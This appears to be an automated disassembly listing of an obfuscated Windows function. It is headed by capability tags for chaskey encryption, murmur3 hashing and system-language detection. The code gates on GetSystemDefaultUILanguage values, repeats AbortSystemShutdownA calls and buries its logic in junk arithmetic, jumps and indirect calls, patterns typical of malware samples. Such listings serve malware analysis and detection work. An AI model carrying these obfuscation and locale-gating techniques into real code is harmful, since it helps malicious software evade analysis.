Function at 0x401000
Capabilities:
Encrypt data using chaskey
Hash data using murmur3
Identify system language via api

Disassembly:
mov ecx, 0x7fb1c20f
or ebx, esi
call sub.kernel32.dll_GetSystemDefaultUILanguage
mov edx, ecx
or ecx, 0x7fb34aa7
xchg esi, ebx
xchg ebx, esi
cmp eax, 0xfffffef1
jne 0x401083
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
ret
ror ebx, 0xd
xor ecx, edx
sub ebx, edx
xor edx, 0x7fb80f55
xor ebx, ecx
mov esi, edx
xchg ecx, ebx
xor ecx, ebx
call sub.kernel32.dll_GetSystemDefaultUILanguage
bswap ebx
mov esi, ecx
sub edx, esi
mov ebx, ecx
rol edx, 1
or esi, edx
bswap esi
not esi
cmp eax, 0xfffffee3
jne 0x401141
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
ret
or ebx, edx
neg ebx
xor ecx, 0x7fc1771d
and ebx, 0x7fc1dfa1
mov ecx, edx
rol edx, 0x13
and ebx, esi
xor esi, ebx
call sub.kernel32.dll_GetSystemDefaultUILanguage
sub esi, 0x7fc41a99
xor edx, 0x7fc48c79
add esi, ebx
xor edx, ecx
add ecx, ebx
mov edx, esi
and ebx, esi
xor edx, ebx
cmp eax, 0xfffffee9
jne 0x401200
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
ret
xor edx, esi
add edx, 0x7fcaa34d
call sub.kernel32.dll_GetSystemDefaultUILanguage
mov esi, ebx
add ebx, 0x7fcba151
and ebx, edx
bswap esi
cmp eax, 0xffffff0f
jne 0x401298
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
call sub.advapi32.dll_AbortSystemShutdownA
ret
jmp 0x49a9c0
mov edx, ecx
bswap esi
jmp 0x49aeb7
pop ebx
not edi
dec esi
shl edx, 0x10
neg esi
add ecx, esi
sub edx, esi
or edx, edi
or ecx, esi
and edi, esi
add ecx, edx
shl ecx, 0xa
add edx, 0x844cb313
jmp 0x49d5cf
pop ebx
not ecx
or edi, edx
sub ecx, esi
or edx, 0x844ea3b1
shl ecx, 0x1d
not edx
jmp 0x49b71e
push 0x8079ad3f
mov edi, 0x84559731
shl edi, 0x17
or edi, ecx
and ecx, 0x8456ef6b
and edx, 0x845758cf
ror esi, 0x13
add edi, 0x845842e1
add edi, ecx
jmp 0x49b24c
push 0x807cda65
xchg edx, edi
shl edi, 0x10
or ecx, 0x845a0429
add edi, 0x845a7371
mov edx, esi
mov edx, esi
xor edx, 0x845bba37
xor edi, esi
xchg edx, ecx
add ecx, edi
mov edi, esi
or ecx, edi
mov esi, ecx
or edx, 0x845ea35b
mov edx, esi
bswap ecx
jmp fcn.0049dad2
push 0x806701f5
ror edi, 0x12
ror ecx, 0x13
and ecx, 0x848a92c7
and edi, esi
ror edi, 0xb
inc esi
xor ecx, edi
mov esi, 0x848cb161
or esi, 0x848d302d
and esi, ecx
inc edx
and edx, edi
jmp 0x49c5f3
call fcn.0049d850
or esi, 0x8498fcbf
xor esi, edi
and edi, edx
or edi, ecx
sub esi, edx
rol edx, 0x10
add esi, edx
add edx, esi
jmp 0x49d530
call fcn.0049d850
rol esi, 0x1f
shr edx, 0x19
xor edx, esi
mov ecx, edx
add esi, edi
mov esi, 0x849ec969
add esi, edi
and edx, ecx
inc ecx
mov esi, ecx
jmp 0x49c56f
pop ebx
sub esi, edx
and edi, esi
or edx, esi
and edx, esi
and ecx, 0x84a723cb
dec ecx
jmp 0x49cb19
push 0x80599459
xchg esi, edx
shl ecx, 8
and edx, ecx
not esi
ror edi, 0x1b
neg edx
add esi, 0x84b3086d
and edx, edi
xchg edx, esi
xor ecx, 0x84b44885
jmp 0x49c01e
push 0x806b6e5d
xor edx, edi
or edx, edi
bswap ecx
mov esi, edx
dec ecx
shl edx, 6
ror ecx, 0x12
or edx, 0x84b7ede7
xchg edi, ecx
xor edx, ecx
or ecx, esi
not esi
jmp 0x49b003
pop ebx
not esi
mov edi, esi
rol edi, 0x19
mov edx, esi
jmp 0x49d164
push 0x806129f5
neg ecx
sub edx, ecx
mov esi, edi
sub ecx, esi
shl edx, 0x10
neg ecx
sub edi, ecx
not ecx
xor esi, ecx
add edi, esi
jmp 0x49cd31
pop ebx
and ecx, esi
sub edi, edx
or edi, 0x84d086c9
sub ecx, esi
and esi, edi
sub edi, 0x84d1c46b
add edx, ecx
mov edi, ecx
not edx
mov edx, edi
mov ecx, edi
or esi, ecx
bswap ecx
add ecx, 0x84d52e25
dec edi
ror ecx, 0x1a
jmp 0x49bc21
mov ebx, 0x3f4d7907
or ecx, edx
xor edi, ecx
xor esi, ecx
and edi, edx
neg ecx
xor esi, ecx
mov ecx, esi
xchg ecx, esi
add edx, esi
bswap edi
xor edi, esi
xor edx, esi
jmp 0x49c3e4
push 0x8056ae51
xchg ecx, edx
and ecx, edx
rol edi, 0x1b
rol edx, 2
and edx, edi
not edi
shl ecx, 8
mov esi, 0x84deeab3
xor edi, ecx
xchg esi, edi
ror edi, 6
nop
xor edx, esi
add ecx, edx
jmp 0x49ca27
mov ebx, 0x3f4d7907
sub edi, esi
xchg esi, ecx
add edi, ecx
add esi, 0x84fa3435
add edx, 0x84faa001
and esi, edx
shl edi, 0x12
shl esi, 0x16
jmp 0x49cf53
push 0x806bbd95
xor ecx, edx
sub esi, edi
xor edi, ecx
ror edi, 0xa
dec edi
add esi, edi
xor ecx, esi
mov esi, edx
sub edx, edi
and ecx, edi
jmp 0x49c888
mov ebx, 0x3f4d7907
xor esi, edx
or esi, ecx
sub esi, 0x85136a5f
add ecx, edx
bswap edx
neg esi
jmp 0x49ac9b
push esp
inc esi
ror edx, 0x10
ror ecx, 6
or ecx, edi
xchg edi, ecx
add ecx, edx
mov edi, edx
shl edx, 4
sub ecx, edi
not esi
shl esi, 0x14
and edx, 0x8521e785
xor ecx, esi
or ecx, edi
jmp 0x49bcce
mov ebx, 0x3f4d7907
dec esi
and esi, 0x853b2ef1
and ecx, edi
add edx, ecx
xor edi, ecx
sub esi, edx
and esi, edx
dec ecx
sub edi, esi
mov edx, esi
or esi, edx
dec esi
jmp 0x49cf0d
call ebx
xor edx, edi
sub esi, edx
sub esi, edx
xor ecx, esi
mov edi, edx
mov edx, 0x8553eca1
add esi, edi
or ecx, edx
jmp 0x49adbd
mov ebx, 0x3f4d7907
shr edi, 8
mov esi, 0x8555e1b5
sub ecx, 0x855656d9
sub esi, ecx
mov edi, edx
or ecx, edx
bswap edi
sub edx, 0x85589489
add edx, ecx
add ecx, 0x85596ef3
jmp 0x49c76c
pop ebx
or edx, esi
and edi, 0x855a7e51
ror ecx, 0x1e
bswap esi
ror esi, 1
xor edx, 0x855c81bd
dec edi
neg edx
or ecx, edx
or edi, edx
jmp 0x49d3e0
pop ebx
bswap edi
xchg edx, ecx
add edi, esi
xor edi, ecx
xor edx, ecx
and edi, 0x856a781f
or esi, ecx
or esi, ecx
add edx, ecx
add ecx, 0x856c5153
mov esi, 0x856cc4b5
xchg esi, ecx
or ecx, 0x856dba61
shr edi, 0xd
inc edi
mov esi, ecx
jmp 0x49bf06
pop ebx
and edx, 0x85a52f93
or edi, esi
add esi, ecx
or esi, 0x85a694f7
inc edi
neg esi
jmp 0x49d9e7
mov ebx, 0x3f4d7907
or esi, edi
ror esi, 0x10
xchg edx, esi
dec esi
and esi, edx
and ecx, edi
add edx, 0x85aac863
sub edi, esi
xor edx, esi
ror esi, 0x1b
jmp 0x49c70d
pop ebx
and edi, edx
sub esi, edi
mov edx, esi
mov esi, 0x85ae15b3
or esi, edx
shr ecx, 0x1e
sub esi, ecx
dec edi
not ecx
xor ecx, edx
jmp 0x49d3bb
push 0x806b1e97
add edx, edi
neg edi
bswap ecx
add edi, 0x85b2d5bf
bswap edi
and esi, edi
sub ecx, esi
and edi, esi
nop
bswap esi
jmp 0x49ad96
pop ebx
inc esi
mov edi, ecx
mov ecx, edi
xor esi, edx
and esi, ecx
or edx, esi
sub edi, 0x85c23c5d
or esi, ecx
sub ecx, 0x85c32ecd
rol edx, 5
jmp 0x49c51f
pop ebx
add edi, esi
and edx, 0x85d8feb5
sub edi, esi
or edx, 0x85d9dbf7
and ecx, edx
shr edi, 0x11
or esi, ecx
add edi, esi
and esi, edi
dec ecx
shl edi, 0x1d
xchg edi, ecx
jmp 0x49da3d
pop ebx
sub ecx, 0x85f53353
or edi, edx
xchg edx, edi
and edx, 0x85f68c2d
not ecx
add ecx, edx
or edx, esi
or ecx, edi
jmp 0x49b755
mov ebx, 0x4132136a
shr edi, 0xc
and esi, ecx
or esi, edi
neg esi
bswap edi
xor esi, 0x85fefaad
and edx, ecx
shr edx, 9
mov ecx, edx
shr esi, 0xf
jmp 0x49d7b4
pop ebx
xor esi, edi
mov edi, edx
neg edx
sub ecx, esi
add ecx, edx
and esi, 0x86078833
jmp 0x49cb42
call ebx
xor ecx, 0x86082c3b
sub ecx, esi
or edi, edx
add esi, 0x86097c5f
not esi
mov edi, ecx
xchg edx, ecx
not edx
or edx, 0x860bb393
mov ecx, edx
neg edx
xor esi, edi
jmp 0x49da0b
push 0x805a221d
xor edi, edx
sub edx, 0x8614a2e9
mov edi, esi
and edi, esi
xor edx, ecx
sub ecx, edi
and esi, edx
sub esi, 0x861752f7
inc edx
bswap edx
and esi, edx
or ecx, edi
mov ecx, edx
or edi, edx
jmp 0x49d104
call fcn.0049d850
shr esi, 0xa
xor esi, ecx
and edx, 0x861e486d
shl esi, 0x18
add edx, ecx
inc esi
sub esi, edi
sub edi, 0x86207591
rol esi, 9
add esi, 0x86217717
shr edi, 0x18
neg edi
jmp 0x49bcf0
push 0x401400
sub edx, esi
rol esi, 0x11
not edi
xchg ecx, edi
bswap edi
inc edi
and esi, edi
or esi, ecx
jmp 0x49d6f2
mov ebx, 0x3f4d7907
xor esi, 0x863a1291
ror edi, 0x1a
and ecx, esi
or esi, edi
mov ecx, edi
mov edi, ecx
jmp 0x49acba
push 0x805ce021
add edx, 0x86583dfb
xor edi, edx
sub ecx, edi
inc ecx
ror ecx, 0x19
shr edi, 0x16
sub edx, esi
add edi, ecx
jmp 0x49da5b
pop ebx
mov esi, edx
add ecx, 0x865c6ea1
sub edi, edx
or edi, esi
or edi, 0x865ddb45
xor edx, ecx
jmp 0x49d568
call fcn.0049d850
mov ecx, edi
add edx, ecx
mov ecx, 0x86703b47
or ecx, edx
rol edi, 0xf
xor edi, ecx
xor edx, 0x867209f5
add esi, ecx
sub ecx, edi
mov edx, edi
shl edi, 6
xchg esi, edx
jmp 0x49d36e
call ebx
and esi, edx
xor edi, 0x86754b2d
add ecx, 0x8675e159
mov esi, edx
jmp 0x49aa46
pop ebx
xor ecx, edx
bswap esi
sub esi, ecx
mov edi, esi
sub edx, edi
rol edx, 0x1d
shr esi, 0x16
not esi
jmp 0x49caba
pop ebx
xor edi, ecx
mov edi, edx
xor edi, esi
inc esi
bswap edx
xor edx, ecx
xor ecx, edx
bswap edi
jmp 0x49d731
pop ebx
mov edx, esi
shr edx, 7
and edx, 0x869b96d3
add esi, ecx
add esi, 0x869c79f5
dec edx
jmp 0x49bb75
push esp
sub edi, edx
and edi, edx
or esi, 0x86b13d5b
sub edx, 0x86b1b647
or edi, 0x86b2390d
or esi, edi
xchg esi, edx
and ecx, edi
jmp 0x49d674
call ebx
mov esi, edi
xchg edi, edx
dec esi
or ecx, 0x86b56aab
shl ecx, 0xd
sub edx, 0x86b67449
jmp 0x49da21
push 0x805d7861
neg esi
xchg ecx, edx
inc ecx
and edx, esi
add edx, edi
mov ecx, 0x86c63033
bswap edi
and esi, ecx
add ecx, 0x86c79ed3
rol edi, 0x1c
neg edi
and edx, edi
jmp 0x49bf5a
pop ebx
sub edx, edi
xor edx, ecx
and esi, edx
shl ecx, 5
sub esi, edi
sub ecx, esi
rol ecx, 0xb
and edx, esi
xor esi, edx
mov esi, edx
jmp 0x49ad0b
pop ebx
sub edi, 0x86f77e33
sub edx, ecx
xchg ecx, edi
add edi, esi
jmp 0x49ba0d
push 0x805dc553
and ecx, edi
add edi, edx
nop
sub esi, edi
ror esi, 0xe
xor esi, edi
jmp 0x49ce7d
push 0x8061ca25
add ecx, edi
or edi, esi
and edx, 0x870c12bb
dec ecx
and edi, 0x870cfbd3
sub esi, edx
rol edi, 0x12
mov edi, esi
bswap edx
xchg esi, edi
jmp 0x49b4d1
push 0x8059dc01
and esi, edi
and esi, edi
and edx, esi
sub edx, ecx
xor esi, ecx
and edx, esi
jmp 0x49b809
push 0x806e8dd7
xor edx, ecx
shl ecx, 0x1f
mov ecx, edx
dec ecx
xor ecx, edi
and esi, 0x872bdee7
add edx, esi
add edx, 0x872ccb45
shr edi, 1
mov edi, 0x872dbd89
jmp 0x49c6df
pop ebx
add esi, ecx
or edi, esi
bswap edx
inc edx
ror ecx, 6
sub ecx, 0x87365371
shl edx, 5
mov edx, 0x873745c7
bswap ecx
xor ecx, edx
xor ecx, edi
mov ecx, 0x8739269b
and edx, esi
add edx, 0x873a0bd5
jmp 0x49b4f4
push 0x80763e5d
ror esi, 0x13
mov edx, ecx
xchg ecx, edx
inc edi
xchg edi, ecx
xor edi, ecx
and edx, 0x873f3ef1
rol edx, 0x1d
jmp 0x49c97a
call fcn.0049d850
mov esi, edi
or edx, esi
neg esi
and edx, esi
and edi, 0x8748b20b
add edx, ecx
xchg ecx, edi
shl edx, 0x1e
shl edi, 0xd
not ecx
sub ecx, esi
inc ecx
neg esi
ror ecx, 0x1d
jmp 0x49b7ab
pop ebx
mov ecx, 0x875e0a89
neg edx
xchg edi, edx
or esi, edx
not ecx
neg ecx
jmp 0x49d2e0
push 0x8078bca3
and ecx, edx
add ecx, esi
add esi, edx
or edi, esi
and ecx, edi
xchg edi, edx
xchg edi, ecx
xchg ecx, edi
add ecx, 0x8797191d
or esi, edi
mov edx, esi
and edx, esi
jmp 0x49db39
call fcn.0049d850
and edx, 0x87a52aa7
xchg edx, ecx
sub edx, ecx
sub edx, edi
sub edi, edx
xor esi, edx
xor edi, 0x87a7baa5
inc edi
not esi
or ecx, 0x87a911c3
jmp 0x49baf4
mov ebx, 0x3f4d7907
add ecx, edi
and edi, 0x87bca9f3
add ecx, edx
or ecx, edi
and edx, edi
and edx, 0x87be5a71
or edx, edi
add edx, esi
mov esi, edx
sub ecx, edi
neg esi
ror edx, 0xe
jmp 0x49b84c
pop ebx
add edx, ecx
sub edi, 0x87c1f665
or edx, esi
and edi, esi
add ecx, edi
or edi, edx
mov edi, 0x87c4000d
xor edx, esi
xor ecx, edx
sub edx, 0x87c55e05
jmp 0x49c813
pop ebx
dec ecx
xor edi, ecx
xor edx, ecx
add edx, 0x87cd991d
add edi, edx
add ecx, 0x87ce6c1f
sub edi, esi
xor ecx, 0x87cf47f1
jmp 0x49d0c8
call ebx
xchg edx, edi
and edi, edx
xchg edx, ecx
mov edx, edi
xor edi, ecx
xor ecx, edi
not edx
sub esi, edx
xchg ecx, edx
xchg edi, edx
jmp 0x49d207
call fcn.0049d850
mov ecx, esi
ror ecx, 6
xchg edi, ecx
bswap edi
shl edx, 0xc
add edx, edi
jmp 0x49d1db
call ebx
sub ecx, edx
sub ecx, 0x87e16029
and edi, esi
ror esi, 0xf
add esi, ecx
xor edx, esi
and esi, edi
or edi, esi
shl ecx, 1
add esi, ecx
or ecx, 0x87e526e5
add edi, 0x87e59c83
add ecx, 0x87e607af
sub ecx, 0x87e67c4d
jmp 0x49bea6
push 0x806754cf
shr edx, 0x1c
xchg edi, edx
xchg edx, edi
bswap edi
mov ecx, esi
dec edx
sub edi, esi
neg edi
jmp 0x49d306
call ebx
and esi, 0x87eaa3f3
shl edx, 0x1f
or ecx, esi
or edi, ecx
xor esi, edx
or edi, 0x87ecc759
sub edi, 0x87ed464b
sub edx, 0x87edb24f
or ecx, edx
not ecx
sub edx, ecx
dec ecx
mov edi, edx
or edi, edx
jmp 0x49b647
push 0x806acf87
xor edi, ecx
xor esi, ecx
sub esi, ecx
or esi, 0x87fd67a5
sub edx, 0x87fddd37
or esi, edx
not edi
dec ecx
xchg ecx, esi
mov edi, esi
mov ecx, esi
xor ecx, 0x8802bd61
ror esi, 2
not esi
and edi, edx
xchg edx, esi
jmp 0x49b511
push 0x806eda61
or ecx, esi
add ecx, edx
mov esi, 0x8805ec59
sub esi, edx
xchg ecx, edi
mov ecx, edi
and ecx, 0x8807927d
add ecx, edi
ror ecx, 0xc
or edi, esi
and edx, esi
xor ecx, edx
and ecx, edx
add edx, edi
jmp 0x49ae95
call fcn.0049d850
mov edi, ecx
xor ecx, edi
bswap esi
or edi, esi
jmp 0x49cc03
call fcn.0049d850
shl ecx, 0x14
dec edx
add edx, 0x8818d241
mov edi, edx
xor ecx, edi
not edi
bswap edx
dec edi
jmp 0x49b232
push 0x8073b077
bswap edi
or edi, esi
sub edx, edi
add edx, esi
rol esi, 0xb
xor esi, edi
and esi, ecx
add edi, ecx
sub esi, ecx
or edx, edi
mov esi, edi
and ecx, 0x88321fcf
mov edx, esi
xor edi, 0x8832ee95
jmp 0x49d69e
mov ebx, 0x3f4d7907
xchg edi, edx
add esi, edx
mov edx, edi
shr esi, 0x1d
and edx, 0x88a46c8d
sub ecx, esi
xor esi, edx
sub esi, edi
neg esi
or ecx, 0x88a6a3d1
neg edx
mov esi, ecx
sub edx, edi
or ecx, edi
jmp 0x49bac9
push 0x80768f3d
and esi, ecx
xor ecx, edx
mov esi, ecx
not edi
or edx, edi
inc edx
neg esi
shr ecx, 8
bswap ecx
mov edx, 0x88cbf8a5
jmp 0x49b066
push 0x80571233
add edx, 0x88df06ad
xchg esi, edi
mov esi, edi
shr edx, 0x16
mov esi, ecx
neg esi
dec edx
xchg edi, ecx
add edx, ecx
add edx, edi
or edx, edi
and edi, edx
xchg edx, esi
xor esi, edi
xchg esi, edx
neg edx
jmp 0x49b173
push 0x806a7f61
add ecx, edi
or edi, 0x88f5d0eb
sub edx, ecx
mov edi, esi
and ecx, edx
sub edx, 0x88f7a04b
and esi, ecx
or esi, 0x88f88921
add ecx, edx
mov esi, ecx
bswap edi
sub edi, edx
and edi, esi
xchg edi, esi
xor esi, 0x88fbbceb
or esi, edi
jmp 0x49c6a9
push 0x80590011
inc edi
sub edx, ecx
sub esi, edi
xor edi, 0x8902e82d
dec edi
mov esi, edx
or esi, edx
xchg ecx, esi
shl esi, 0x1a
sub edi, ecx
sub edx, edi
or ecx, esi
sub edx, edi
xchg esi, ecx
jmp 0x49d866
pop ebx
and edi, ecx
xchg ecx, esi
sub esi, edi
sub esi, edx
shr edx, 7
xor edi, esi
xchg edi, ecx
or ecx, esi
jmp 0x49d4ba
pop ebx
xor ecx, edx
sub esi, 0x891549d5
rol edi, 0xf
ror ecx, 0x11
sub ecx, edi
xchg edx, esi
add esi, edx
mov edx, 0x89180547
or ecx, edx
xor ecx, edi
jmp 0x49b2e5
call ebx
shl ecx, 0x14
and edx, edi
xor ecx, edi
or edx, 0x89244e85
and ecx, edx
or esi, edi
or edx, ecx
sub edx, ecx
xchg edi, esi
or esi, 0x8926febb
jmp 0x49b795
push 0x806177cd
xor esi, 0x894a0589
dec esi
not esi
dec esi
bswap edi
rol edx, 0xe
ror esi, 0x18
and ecx, esi
or edi, ecx
xor edx, esi
jmp 0x49bfa0
pop ebx
shl esi, 0x1c
xor edx, ecx
and esi, 0x894fca1d
mov edx, esi
xor edx, ecx
xchg edi, edx
jmp 0x49c35c
push 0x80795b03
inc edx
neg esi
or ecx, esi
or ecx, edi
not edx
rol edi, 9
jmp 0x49aa88
push 0x80644c25
xor edx, ecx
inc edx
and esi, ecx
add edx, edi
sub esi, edi
xor edi, 0x8964493b
xor edx, esi
shl edi, 0x1b
sub esi, edi
add edx, edi
jmp 0x49d27b
push 0x805e11d5
mov edi, 0x89755b19
or esi, ecx
add ecx, 0x89764553
neg edx
sub edi, esi
sub ecx, edx
or edi, esi
or ecx, 0x897887b1
and edx, esi
and esi, 0x89797a03
or esi, edx
xor edx, 0x897a608d
ror ecx, 0x1f
shl ecx, 3
jmp 0x49b92a
pop ebx
or ecx, 0x897bf367
shr esi, 0x1e
shr ecx, 0xb
or edi, ecx
xchg edi, edx
add ecx, esi
dec edi
sub edi, esi
shr edx, 8
add esi, 0x89802dbd
shl ecx, 0x14
ror ecx, 0x16
bswap edx
xor esi, 0x89821555
xor edi, ecx
and edx, esi
jmp 0x49cddf
call fcn.0049d850
mov edi, ecx
ror edi, 0x14
sub ecx, esi
or edx, edi
xor esi, ecx
shl esi, 8
xchg esi, edx
add edi, ecx
shl ecx, 1
mov esi, ecx
sub ecx, 0x898c9fc9
dec esi
mov edi, esi
sub edx, ecx
xor esi, edi
mov ecx, edx
jmp 0x49c5ba
pop ebx
xor edx, edi
and edx, edi
xor edi, esi
and edx, edi
and ecx, esi
bswap esi
sub edi, esi
xchg edx, edi
jmp 0x49d70d
call fcn.0049d850
rol ecx, 0x10
inc ecx
xchg ecx, esi
add edi, edx
sub ecx, esi
sub esi, edx
shr edi, 0x1f
nop
xchg ecx, esi
and esi, edi
jmp 0x49c60d
push 0x8066b607
sub edi, esi
xor edi, esi
dec esi
add ecx, esi
sub edx, 0x8a23c7d7
inc edi
jmp 0x49ac27
push 0x807c8749
not edi
shl edx, 9
xchg esi, ecx
and edi, edx
mov edx, 0x8a2f5ae1
and edx, edi
or edi, 0x8a302991
and edi, ecx
ror edi, 0xd
or edi, ecx
bswap esi
rol esi, 0x1d
jmp 0x49aab3
push 0x995c0
xchg edi, esi
ror esi, 0x14
mov edi, ecx
shr ecx, 0x1b
not edx
and edi, 0x8a39b863
mov edx, ecx
not edx
neg esi
and esi, 0x8a3b752d
jmp 0x49b87d
pop ebx
and edi, edx
inc edi
mov ecx, edi
sub edx, esi
shr ecx, 0x1b
sub ecx, edi
inc edx
mov ecx, edi
sub esi, edi
xor ecx, edx
mov ecx, 0x8a4067df
and edx, esi
and esi, ecx
xchg esi, edi
sub esi, edi
shr edx, 8
jmp 0x49aa23
mov ebx, 0x3f4d7907
mov esi, edi
xor ecx, esi
mov edx, esi
or esi, edx
bswap edx
xchg esi, edi
mov esi, edi
xor esi, 0x8a47f4fb
or edi, 0x8a48609d
xor edi, 0x8a48cb8f
or esi, 0x8a4936b9
mov esi, 0x8a49a213
xchg esi, edx
add esi, 0x8a4a7f83
jmp 0x49c58a
pop ebx
ror edi, 9
add esi, edi
sub edx, edi
nop
sub ecx, esi
xor edx, esi
xor edx, esi
nop
xor edx, ecx
and ecx, edx
sub edi, 0x8a53d76b
mov edi, ecx
jmp 0x49bb8d
call ebx
and ecx, 0x8a5e931f
rol esi, 0xd
mov edx, esi
bswap edi
xchg ecx, esi
inc edx
jmp 0x49c234
pop ebx
inc edx
add edi, esi
mov esi, edi
shl esi, 0x1f
and esi, edx
and edi, edx
shl esi, 3
xor edx, esi
and edi, 0x8a686463
and edx, ecx
shl edi, 1
sub ecx, edx
jmp 0x49c0f8
push 0x80649973
not esi
sub edi, 0x8a74b0c7
shr ecx, 0x1c
or edi, 0x8a758cad
add esi, edx
sub ecx, edi
xor esi, edx
or esi, edi
not edi
sub edx, esi
or edx, 0x8a789029
mov ecx, 0x8a7901f7
jmp 0x49c4a7
pop ebx
add edx, esi
shr esi, 0x1b
and edi, 0x8a818615
shl esi, 0x14
not edi
and edx, edi
sub ecx, edi
neg esi
mov edx, 0x8a841ee3
mov esi, ecx
inc edx
mov edx, edi
jmp 0x49cb8f
push 0x8067a217
add edi, 0x8a85eca7
add esi, 0x8a865689
dec edi
or ecx, edx
rol ecx, 0xe
xchg esi, edi
rol edx, 0x15
xor edx, ecx
bswap edx
and ecx, esi
or edi, esi
add edx, esi
jmp 0x49afa3
call ebx
and edx, ecx
rol esi, 0x13
add edx, edi
or esi, ecx
shr edx, 0xa
or edi, ecx
and esi, 0x8a951aab
xchg esi, ecx
jmp 0x49b587
pop ebx
ror edx, 3
add ecx, edi
mov edx, 0x8a9c4bf9
and esi, 0x8a9cbae7
add edx, 0x8a9d3393
mov edi, ecx
or edi, 0x8a9e0fa9
inc esi
jmp 0x49b4b8
pop ebx
dec esi
sub edx, ecx
mov edx, 0x8a9fe297
shl ecx, 0xe
and edx, edi
inc ecx
rol ecx, 0x10
rol edi, 5
ror esi, 0x1d
add edi, esi
and ecx, edx
or esi, edx
sub edx, esi
or esi, 0x8aa4b37b
jmp 0x49cd53
pop ebx
or ecx, edi
not esi
xchg esi, ecx
and esi, edi
mov esi, edx
sub ecx, esi
jmp 0x49ceb8
call ebx
xor esi, edi
or edx, ecx
xor ecx, 0x8acaa419
rol edi, 0xb
and esi, edi
sub esi, edi
mov edx, 0x8acc4b5b
and edx, ecx
or edx, 0x8acd35e9
shr edi, 4
or esi, edi
mov ecx, edx
xchg edi, ecx
sub ecx, edx
sub edx, 0x8acfba77
sub edx, ecx
jmp 0x49b27a
push 0x806666ed
shr edx, 1
mov edi, ecx
inc edi
neg ecx
ror esi, 0xf
shl edi, 0x18
jmp 0x49cff0
pop ebx
sub edi, edx
and edx, esi
mov edi, 0x8adea093
xchg esi, edx
or ecx, esi
xchg esi, edi
and edi, ecx
mov edi, esi
sub esi, ecx
not edi
jmp 0x49c09e
push 0x40
sub esi, 0x8af38d6d
add edi, esi
xchg edi, esi
inc edx
mov ecx, 0x8af53c29
dec edx
shl ecx, 0x10
ror edx, 1
shl edi, 0x15
neg edi
xchg edx, esi
or edx, ecx
jmp 0x49d0a0
push 0x8073fd4b
sub edi, 0x8af8e0a9
mov edx, edi
or ecx, edi
sub esi, edx
rol edi, 0x17
not ecx
mov ecx, edi
xchg edx, esi
rol edx, 0x17
rol edx, 0x19
